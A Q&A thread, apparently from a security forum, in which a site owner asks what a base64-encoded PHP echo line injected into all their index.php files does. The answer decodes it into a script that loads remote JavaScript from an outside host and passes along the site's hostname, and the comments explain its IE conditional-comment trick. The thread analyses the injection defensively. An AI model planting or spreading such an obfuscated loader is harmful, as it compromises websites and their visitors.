I've just found out that all of my websites on one of my server has been hacked. Some seemingly malicious code was injected into all index.php files:

    echo base64_decode("PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPi8qQGNjX29uIApmdW5jdGlvbiBnbnd6aigpewogdmFyIGt1bnR3ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7IGt1bnR3LnNyYyA9ICdodHRwOi8vYmxvbmRlc2NyaXB0LmNvbS9kYXRhL2pxdWVyeV8xLjcuNC5taW4uanM/cj0nK3dpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTsgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXS5hcHBlbmRDaGlsZChrdW50dyk7Cn07dmFyIGdkbXp2ID0gc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXtpZihkb2N1bWVudC5ib2R5ICE9IG51bGwgJiYgdHlwZW9mIGRvY3VtZW50LmJvZHkgIT0gJ3VuZGVmaW5lZCcpe2NsZWFySW50ZXJ2YWwoZ2RtenYpO2dud3pqKCk7fX0sMTAwKTtAKi8KPC9zY3JpcHQ+");

What does this code do? Is there a known-attack like this which I should read about to prevent it from coming back?


1 Answer 1


if you run the base64 decode, you get:

<script type='text/javascript'>/*@cc_on 
function gnwzj(){
 var kuntw = document.createElement('script'); kuntw.src = 'http://blondescript.com/data/jquery_1.7.4.min.js?r='+window.location.hostname; document.getElementsByTagName('head')[0].appendChild(kuntw);
};var gdmzv = setInterval(function(){if(document.body != null && typeof document.body != 'undefined'){clearInterval(gdmzv);gnwzj();}},100);@*/

It injects extra code onto your site.

  • I decoded that as well, it's a bit odd that all the JS script is commented out don't you think?
    – M'vy
    Commented Mar 4, 2015 at 8:46
  • this explains @cc_on: msdn.microsoft.com/en-us/library/8ka90k2e(v=vs.94).aspx
    – schroeder
    Commented Mar 4, 2015 at 9:06
  • It's a conditional comment, IE 4 and later will run it. See What does @cc_on mean in JavaScript?
    – Ángel
    Commented Mar 4, 2015 at 9:06
  • Shouldn't this answer to be a good answer also explain the effects of the injected JavaScript? Commented Mar 4, 2015 at 9:50
  • @Angelo.Hannes Yep - a full code explanation would be more helpful, but seeing that the OP didn't decode the blob, I figured that a simple decode would be helpful. The OP's code snippet doesn't look malicious, but the decoded code indicates the greater problem. At this point,
    – schroeder
    Commented Mar 4, 2015 at 18:56

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